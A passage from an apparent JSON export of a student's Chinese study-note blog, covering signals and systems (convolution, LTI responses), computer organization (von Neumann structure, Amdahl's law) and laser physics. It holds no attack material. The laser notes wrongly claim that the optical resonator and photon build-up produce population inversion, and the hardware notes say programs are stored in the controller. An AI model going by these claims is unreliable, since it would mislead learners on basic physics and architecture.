src=\"https://xeonds.github.io/Pasted%20image%2020230415132931.png\"/\u003e\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e\u003cstrong\u003e尺度变换\u003c/strong\u003e:\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415134240.png\"/\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415134319.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"2-连续系统的时域分析\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#2-%E8%BF%9E%E7%BB%AD%E7%B3%BB%E7%BB%9F%E7%9A%84%E6%97%B6%E5%9F%9F%E5%88%86%E6%9E%90\" class=\"headerlink\" title=\"2-连续系统的时域分析\"\u003e\u003c/a\u003e2-连续系统的时域分析\u003c/h2\u003e\u003ch3 id=\"2-1-LTI连续系统的响应\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#2-1-LTI%E8%BF%9E%E7%BB%AD%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%93%8D%E5%BA%94\" class=\"headerlink\" title=\"2.1-LTI连续系统的响应\"\u003e\u003c/a\u003e2.1-LTI连续系统的响应\u003c/h3\u003e\u003col\u003e\u003cli\u003e微分方程的经典解\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e步骤相对固定:\u003c/p\u003e\u003cp\u003e先计算通解,再计算特解,随后回代特解和激励,得到特解的系数;最后回代,利用初始条件得到方程的未知系数。\u003c/p\u003e\u003cul\u003e\u003cli\u003e计算通解:就是方程对应齐次微分方程的解。得到特征根后即可写出通解\u003c/li\u003e\u003cli\u003e计算特解:根据激励的形态确定特解形式。激励形式有指数、幂级数、三角函数三种形式,以及冲激函数。前三种有固定的特解形式\u003c/li\u003e\u003cli\u003e回代得到特解系数:就是回代,然后化简,就能得到特解系数\u003c/li\u003e\u003cli\u003e得到全解:通解=齐次解+特解。最后代入初始条件得到通解的系数,即可得到全解\u003c/li\u003e\u003c/ul\u003e\u003col start=\"2\"\u003e\u003cli\u003e\u003cp\u003e关于$0_-$和$0_+$值\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e零输入响应\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e零状态响应\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e全响应\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e一般情况下,根据换路定律,二者应该是相等的。但是\u003cstrong\u003e当激励中含有冲激函数及其导数时,$t=0$激励接入系统时,响应及其导数就可能发生跃变\u003c/strong\u003e。这种情情况下,就需要手工计算二者。通常有两种方法:\u003cem\u003e积分法\u003c/em\u003e和\u003cem\u003e待定系数法\u003c/em\u003e。\u003c/p\u003e\u003ch3 id=\"2-2-冲激响应和阶跃响应\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#2-2-%E5%86%B2%E6%BF%80%E5%93%8D%E5%BA%94%E5%92%8C%E9%98%B6%E8%B7%83%E5%93%8D%E5%BA%94\" class=\"headerlink\" title=\"2.2-冲激响应和阶跃响应\"\u003e\u003c/a\u003e2.2-冲激响应和阶跃响应\u003c/h3\u003e\u003ch3 id=\"2-3-零状态响应与卷积积分\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#2-3-%E9%9B%B6%E7%8A%B6%E6%80%81%E5%93%8D%E5%BA%94%E4%B8%8E%E5%8D%B7%E7%A7%AF%E7%A7%AF%E5%88%86\" class=\"headerlink\" title=\"2.3-零状态响应与卷积积分\"\u003e\u003c/a\u003e2.3-零状态响应与卷积积分\u003c/h3\u003e\u003cp\u003e根据LTI系统的线性性质、齐次性质、时不变性质可以得到,任意激励$f(t)$的响应$y_{zs}(t)$为:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ey_{zs}(t)=\\int_{-\\infty}^{\\infty}{}f(\\tau)h(t-\\tau)d\\tau=f(t)*h(t)\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e从直观上看,这相当于:$f(t)$引发的响应等于所有构成它的冲激函数单独作用引起的响应之和。\u003c/p\u003e\u003cp\u003e从而,计算LTI系统响应就可以直接用卷积积分计算,无需求解经典微分方程。一般步骤:\u003c/p\u003e\u003cul\u003e\u003cli\u003e求$h(t)$:这一步就是求解微分方程,得到系统响应\u003c/li\u003e\u003cli\u003e求$y_{zs}(t)$:直接用任意激励$f(t)$卷上系统响应$h(t)$就能得到零状态响应$y_{zs}(t)$\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"2-4-卷积积分\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#2-4-%E5%8D%B7%E7%A7%AF%E7%A7%AF%E5%88%86\" class=\"headerlink\" title=\"2.4-卷积积分\"\u003e\u003c/a\u003e2.4-卷积积分\u003c/h3\u003e\u003cp\u003e定义:一般而言,有两个定义在实数域上的函数$f_1(t)$和$f_2(t)$,它们的卷积积分定义为:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ef(t)=f_1(t)*f_2(t)=\\int_{-\\infty}^{\\infty}{f_1(\\tau)f_2(t-\\tau)d\\tau}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e计算方法也很多,比如图解法:\u003cstrong\u003e已知二者波形时,先换元,将$t$换为$\\tau$;再将$f_2(\\tau)$变换为$f_2(t-\\tau)$;随后将二者相乘,最后将乘积对$\\tau$积分\u003c/strong\u003e。注意,这里对乘积积分时,需要注意到$t$是个不确定的变量,应该分区间讨论。\u003c/p\u003e\u003cp\u003e性质:首先是代数运算,它满足\u003c/p\u003e\u003cul\u003e\u003cli\u003e交换律\u003c/li\u003e\u003cli\u003e分配律\u003c/li\u003e\u003cli\u003e结合律\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e其次,是函数和冲激函数的卷积,这是最简单的一种情况。有以下结论:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ef(t)*\\delta(t)=\\delta(t)*f(t)=\\int_{-\\infty}^{\\infty}{\\delta(\\tau)f(t-\\tau)d\\tau}=f(t)\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e也就是任意函数卷上$\\delta(t)$得到它本身。推广得:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ef(t)*\\delta(t-t_0)=\\delta(t-t_0)*f(t)=f(t-t_0)\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e还可以得到:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ef_1(t-t_1)*f_2(t-t_2)=f_1(t-t_2)*f_2(t-t_1)=f_1(t)*f_2(t)*\\delta(t-t_1-t_2)\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e此外,还有:$f(t)*\\delta’(t)=f’(t)$成立\u003c/p\u003e\u003ch2 id=\"3-离散系统的时域分析\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#3-%E7%A6%BB%E6%95%A3%E7%B3%BB%E7%BB%9F%E7%9A%84%E6%97%B6%E5%9F%9F%E5%88%86%E6%9E%90\" class=\"headerlink\" title=\"3-离散系统的时域分析\"\u003e\u003c/a\u003e3-离散系统的时域分析\u003c/h2\u003e\u003ch2 id=\"4-傅里叶变换和系统的频域分析\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#4-%E5%82%85%E9%87%8C%E5%8F%B6%E5%8F%98%E6%8D%A2%E5%92%8C%E7%B3%BB%E7%BB%9F%E7%9A%84%E9%A2%91%E5%9F%9F%E5%88%86%E6%9E%90\" class=\"headerlink\" title=\"4-傅里叶变换和系统的频域分析\"\u003e\u003c/a\u003e4-傅里叶变换和系统的频域分析\u003c/h2\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/"},{"title":"计组笔记:第一章-绪论","time":"2022-12-19T00:34:19Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e学时:78+20+1周\u003cbr/\u003e学分:5.5\u003cbr/\u003e类型:必修\u003cbr/\u003e参考书-教材:计算机组成与系统结构(十二五·第二版)、计算机组成原理(王闵,电子工业出版社,2001),计算机系统结构(李学干,西电,2001),深入理解计算机系统(机械工业出版社)\u003cbr/\u003e考核:期末考试,期中考试(\u0026gt;40课时)-80%、作业,测验,出勤-10%、实验(5个)-10%\u003cbr/\u003e动机:不是专业基础课,但是有助于对计算机的理解和问题解决\u003cbr/\u003e要求:做笔记,纸质优先\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e![[Pasted image 20221219100518.png]]\u003c/p\u003e\u003ch2 id=\"计算机硬件基本组成\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E7%BB%AA%E8%AE%BA/#%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A1%AC%E4%BB%B6%E5%9F%BA%E6%9C%AC%E7%BB%84%E6%88%90\" class=\"headerlink\" title=\"计算机硬件基本组成\"\u003e\u003c/a\u003e计算机硬件基本组成\u003c/h2\u003e\u003cp\u003e计算机的物理硬件有很多,不过可以大致划分为几类。作为现代计算机原型的冯诺依曼机,其结构可作如下划分:\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e输入设备\u003c/strong\u003e 可以是磁盘,键盘,摄像头等设备\u003cbr/\u003e\u003cstrong\u003e控制器\u003c/strong\u003e\u003cbr/\u003e\u003cstrong\u003e运算器\u003c/strong\u003e 负责进行运算\u003cbr/\u003e\u003cstrong\u003e存储器\u003c/strong\u003e 包含寄存器等\u003cbr/\u003e\u003cstrong\u003e输出设备\u003c/strong\u003e 可以是网卡等I/O设备\u003c/p\u003e\u003cp\u003e也可以说是三部分:中央处理器,存储器,I/O\u003c/p\u003e\u003ch3 id=\"计算机中的数据流动\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E7%BB%AA%E8%AE%BA/#%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B8%AD%E7%9A%84%E6%95%B0%E6%8D%AE%E6%B5%81%E5%8A%A8\" class=\"headerlink\" title=\"计算机中的数据流动\"\u003e\u003c/a\u003e计算机中的数据流动\u003c/h3\u003e\u003cp\u003e计算机的最主要用途是数据处理(借助运算器)。处理结果发送到输出设备。数据流向是从输入设备到运算器再到输出设备。在这过程中,可能会借助存储器(CPU存储空间不太大),因此运算器和存储器有交换。数据还会从运算器到控制器。这就是\u003cstrong\u003e数据流\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e对应的还有控制流。控制器控制输入设备,运算器,存储器,输出设备。它控制硬件协调方式。\u003c/p\u003e\u003cp\u003e还有\u003cstrong\u003e指令流\u003c/strong\u003e的说法。指令从存储器到指令,控制器对其解析并执行。\u003c/p\u003e\u003ch3 id=\"冯式架构计算机特点\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E7%BB%AA%E8%AE%BA/#%E5%86%AF%E5%BC%8F%E6%9E%B6%E6%9E%84%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%89%B9%E7%82%B9\" class=\"headerlink\" title=\"冯式架构计算机特点\"\u003e\u003c/a\u003e冯式架构计算机特点\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e内部进行二进制运算\u003c/strong\u003e 无论数值数据是什么类型都会以二进制模式处理。非数值数据也会以二进制模式存储。指令在编译之后也会变成二进制文件,供控制器解析执行\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e存储程序\u003c/strong\u003e 控制程序会预先存储在控制器中供后续执行\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e程序控制\u003c/strong\u003e 计算机由程序控制运行\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e早期计算机并非如此。比如以前的进制有十进制的,也有手动控制的计算机,有些计算机的程序是以硬件固定表示的。但是现在的计算机已经由以前的专用机进化成为如今的冯诺依曼通用机。\u003c/p\u003e\u003cp\u003e后续的讲解会按照冯式机的结构展开。上面的冯式机结构是经过一定抽象的,下面是PC机的结构。\u003c/p\u003e\u003cp\u003e总线挂载内存,处理器,I/O。总线包含三种线:控制线(传输控制指令,比如读写等),数据线(传输数据),地址线(传输地址)。\u003c/p\u003e\u003cp\u003e内存中的东西是一段一段存储的。每个最小单元大小是字节,若干字节构成一个段。段有指令段,数据段等。\u003c/p\u003e\u003cp\u003e以计算1+2为例,CPU向内存发送x地址和读取指令,内存将值发送给CPU(取址);对于y执行同样操作。然后,CPU计算1+2(执行),再将结果和地址还有写指令发送给内存,内存完成写入(写回)。\u003c/p\u003e\u003cp\u003e以前的PC机是南北桥结构。北桥链接高速设备(CPU,内存,显卡等),南桥链接低速设备(I/O,外接设备等)。相对于CPU寄存器而言,内存速度低几个数量级,因而在CPU内设Cache,映射内存中最常用区域。命中率越高处理器使用率越高。Cache目前按照速度递减空间递增分为L1,L2,L3。内存不够时,也可以把硬盘的一部分作为虚拟的内存使用,这软件实现类似上面硬件实现的Cache。\u003c/p\u003e\u003ch2 id=\"计算机层次结构\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E7%BB%AA%E8%AE%BA/#%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%B1%82%E6%AC%A1%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"计算机层次结构\"\u003e\u003c/a\u003e计算机层次结构\u003c/h2\u003e\u003cp\u003e自上而下可以分为这么几层\u003c/p\u003e\u003cul\u003e\u003cli\u003e高级语言(应用层)(程序设计语言)\u003c/li\u003e\u003cli\u003e汇编语言(一种助记符)(微机原理)\u003c/li\u003e\u003cli\u003e机器语言(二进制码)\u003c/li\u003e\u003cli\u003e硬件结构\u003c/li\u003e\u003cli\u003e逻辑电路(构成硬件结构)(数电+模电)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e计组的讲解范围是机器语言和硬件结构。操作系统在汇编语言和机器语言之间。编译原理在前三层间。\u003c/p\u003e\u003cp\u003e机器语言和硬件结构之间有指令集(ISA)。一般有Intel X86,ARM等。\u003c/p\u003e\u003ch2 id=\"计算机分类和性能描述\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E7%BB%AA%E8%AE%BA/#%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%88%86%E7%B1%BB%E5%92%8C%E6%80%A7%E8%83%BD%E6%8F%8F%E8%BF%B0\" class=\"headerlink\" title=\"计算机分类和性能描述\"\u003e\u003c/a\u003e计算机分类和性能描述\u003c/h2\u003e\u003ch3 id=\"计算机分类法\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E7%BB%AA%E8%AE%BA/#%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%88%86%E7%B1%BB%E6%B3%95\" class=\"headerlink\" title=\"计算机分类法\"\u003e\u003c/a\u003e计算机分类法\u003c/h3\u003e\u003cp\u003e传统分类有按体积分类,现在已经不用;另一种是按照用途分为通用机和嵌入式计算机。前者包含\u003c/p\u003e\u003cul\u003e\u003cli\u003e个人计算机\u003c/li\u003e\u003cli\u003e服务器\u003c/li\u003e\u003cli\u003e超级计算机\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e后者应用广泛。\u003c/p\u003e\u003cp\u003e更常用的是Flynn分类法:根据三种数据流分类。有\u003c/p\u003e\u003cul\u003e\u003cli\u003e单指令流单数据流(SISD)\u003c/li\u003e\u003cli\u003eSIMD\u003c/li\u003e\u003cli\u003eMISD:无现实例子\u003c/li\u003e\u003cli\u003eMIMD\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"计算机性能描述\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E7%BB%AA%E8%AE%BA/#%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%80%A7%E8%83%BD%E6%8F%8F%E8%BF%B0\" class=\"headerlink\" title=\"计算机性能描述\"\u003e\u003c/a\u003e计算机性能描述\u003c/h3\u003e\u003cul\u003e\u003cli\u003e性能指标 MIPS(百万指令数每秒)等\u003c/li\u003e\u003cli\u003e测试程序\u003c/li\u003e\u003cli\u003eAmdahl定律 升级硬件后,系统的加速比和这硬件的使用频率/使用时间占比有关,所谓好钢用在刀刃上。\u003cbr/\u003e加速比定义:\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e$$\u003cbr/\u003eS_p=\\frac{T_\\text{改进前}}{T_\\text{改进后}}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e计算时用下式:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eS_p=\\frac{1}{(1-f)+\\frac{f}{s}}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003ef是改进的部分占比,s是这硬件提升的倍数。若f取40%,对s取极限可以得到极限整体提升为1.66。因此可以得到结论:\u003cstrong\u003e部分系统优化若趋近于极限,则边际效应递减\u003c/strong\u003e。此外,f越大,整体提升越大。正所谓“抓住主要矛盾”。\u003c/p\u003e\u003ch2 id=\"计算机发展史\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E7%BB%AA%E8%AE%BA/#%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%8F%91%E5%B1%95%E5%8F%B2\" class=\"headerlink\" title=\"计算机发展史\"\u003e\u003c/a\u003e计算机发展史\u003c/h2\u003e\u003cul\u003e\u003cli\u003e早期工作\u003cul\u003e\u003cli\u003eCharles Babbage:\u003cul\u003e\u003cli\u003e差分机,分析机\u003c/li\u003e\u003cli\u003e内存、打孔卡片、CPU\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eGeorge Boole:\u003cul\u003e\u003cli\u003e布尔代数:0 1\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eClaude Shannon:\u003cul\u003e\u003cli\u003eSwitching theory 开关理论\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e第一代电子计算机\u003cul\u003e\u003cli\u003eABC,1942\u003cul\u003e\u003cli\u003e最早的电子计算机\u003c/li\u003e\u003cli\u003e真空管,280\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E7%BB%AA%E8%AE%BA/"},{"title":"激光与固体物理笔记","time":"2022-12-15T03:29:30Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch3 id=\"激光器组成\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E6%BF%80%E5%85%89%E4%B8%8E%E5%9B%BA%E4%BD%93%E7%89%A9%E7%90%86%E7%AC%94%E8%AE%B0/#%E6%BF%80%E5%85%89%E5%99%A8%E7%BB%84%E6%88%90\" class=\"headerlink\" title=\"激光器组成\"\u003e\u003c/a\u003e激光器组成\u003c/h3\u003e\u003cul\u003e\u003cli\u003e激励能源\u003c/li\u003e\u003cli\u003e工作物质(含有亚稳态能级)\u003c/li\u003e\u003cli\u003e光学谐振腔\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"一、受激吸收、自发辐射和受激辐射\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E6%BF%80%E5%85%89%E4%B8%8E%E5%9B%BA%E4%BD%93%E7%89%A9%E7%90%86%E7%AC%94%E8%AE%B0/#%E4%B8%80%E3%80%81%E5%8F%97%E6%BF%80%E5%90%B8%E6%94%B6%E3%80%81%E8%87%AA%E5%8F%91%E8%BE%90%E5%B0%84%E5%92%8C%E5%8F%97%E6%BF%80%E8%BE%90%E5%B0%84\" class=\"headerlink\" title=\"一、受激吸收、自发辐射和受激辐射\"\u003e\u003c/a\u003e一、受激吸收、自发辐射和受激辐射\u003c/h2\u003e\u003cp\u003e普通光源:自发发光;区别于激光源的受激发光。\u003c/p\u003e\u003cp\u003e按照原子的量子理论,光和原子的相互作用能引起下面三种跃迁过程。\u003c/p\u003e\u003col\u003e\u003cli\u003e受激吸收\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e设原子位于$E_1$低能级,且存在高能级$E_2$。当入射光子能量为$hv=E_2-E_1$时,原子就有可能吸收光子并跃迁到$E_2$。这也称为\u003cstrong\u003e原子的光激发\u003c/strong\u003e。\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e自发辐射\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e激发态原子状态不稳定,无外界作用下,其会自发跃迁到低能级,同时放出一个光子。这光子的能量为$hv=E_2-E_1$。普通光源的发光就属于\u003cstrong\u003e自发辐射\u003c/strong\u003e。由于发光物质中各个原子自发独立进行辐射,因此光子的\u003cstrong\u003e相位、偏振态、传播方向均无固定关系\u003c/strong\u003e。对大量原子而言,即使都是从$E_2$跃迁到$E_1$,发出的同频率的光也是\u003cstrong\u003e不相干\u003c/strong\u003e的。\u003c/p\u003e\u003cp\u003e![[img/Pasted image 20221215113330.png]]\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e受激辐射\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e爱因斯坦发现,辐射场和原子交换能量时,只靠自发辐射和吸收不能达到热平衡,因此还必须存在受激辐射。\u003c/p\u003e\u003cp\u003e位于高能态$E_2$的原子在自发辐射以前,如果受到能量为$hv=E_2-E_1$的外来光子诱发作用,就有可能从$E_2$跃迁到$E_1$,同时发射一个与外来光子\u003cstrong\u003e频率、相位、偏振态和传播方向都相同的光子\u003c/strong\u003e。也就是说,一个光子能引发两个状态完全相同的光子。若由它们继续向下引发,则能的带大量特征相同的光子,即\u003cstrong\u003e光放大\u003c/strong\u003e的实现。这样产生的光为相干光。\u003c/p\u003e\u003cp\u003e![[img/Pasted image 20221215113710.png]]\u003c/p\u003e\u003ch2 id=\"二、产生激光的基本条件\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E6%BF%80%E5%85%89%E4%B8%8E%E5%9B%BA%E4%BD%93%E7%89%A9%E7%90%86%E7%AC%94%E8%AE%B0/#%E4%BA%8C%E3%80%81%E4%BA%A7%E7%94%9F%E6%BF%80%E5%85%89%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%9D%A1%E4%BB%B6\" class=\"headerlink\" title=\"二、产生激光的基本条件\"\u003e\u003c/a\u003e二、产生激光的基本条件\u003c/h2\u003e\u003ch3 id=\"1-粒子数反转\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E6%BF%80%E5%85%89%E4%B8%8E%E5%9B%BA%E4%BD%93%E7%89%A9%E7%90%86%E7%AC%94%E8%AE%B0/#1-%E7%B2%92%E5%AD%90%E6%95%B0%E5%8F%8D%E8%BD%AC\" class=\"headerlink\" title=\"1.粒子数反转\"\u003e\u003c/a\u003e1.粒子数反转\u003c/h3\u003e\u003cp\u003e光和原子系统相互作用时,总是存在上述三种过程。而受激吸收和受激辐射是两种矛盾的过程:前者减少光子数,后者增加光子数。\u003c/p\u003e\u003ch3 id=\"2-光学谐振腔\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E6%BF%80%E5%85%89%E4%B8%8E%E5%9B%BA%E4%BD%93%E7%89%A9%E7%90%86%E7%AC%94%E8%AE%B0/#2-%E5%85%89%E5%AD%A6%E8%B0%90%E6%8C%AF%E8%85%94\" class=\"headerlink\" title=\"2.光学谐振腔\"\u003e\u003c/a\u003e2.光学谐振腔\u003c/h3\u003e\u003cp\u003e为了实现粒子数反转,需要在工作物质周围构造一个光学谐振腔。光学谐振腔是由两个反射镜和工作物质构成的,其中一个反射镜是半透明的,可以让一部分光子透过,另一部分光子被反射回来。当工作物质被激发时,它会发出光子,这些光子在谐振腔内来回反射,与工作物质不断相互作用,从而增强光子的能量和数量。当光子数达到一定程度时,就会出现粒子数反转,从而产生激光。光学谐振腔的长度和反射镜的反射率等参数决定了激光的波长和输出功率等特性。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E6%BF%80%E5%85%89%E4%B8%8E%E5%9B%BA%E4%BD%93%E7%89%A9%E7%90%86%E7%AC%94%E8%AE%B0/"},{"title":"量子力学笔记","time":"2022-12-15T02:32:37Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"黑体辐射\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E9%BB%91%E4%BD%93%E8%BE%90%E5%B0%84\" class=\"headerlink\" 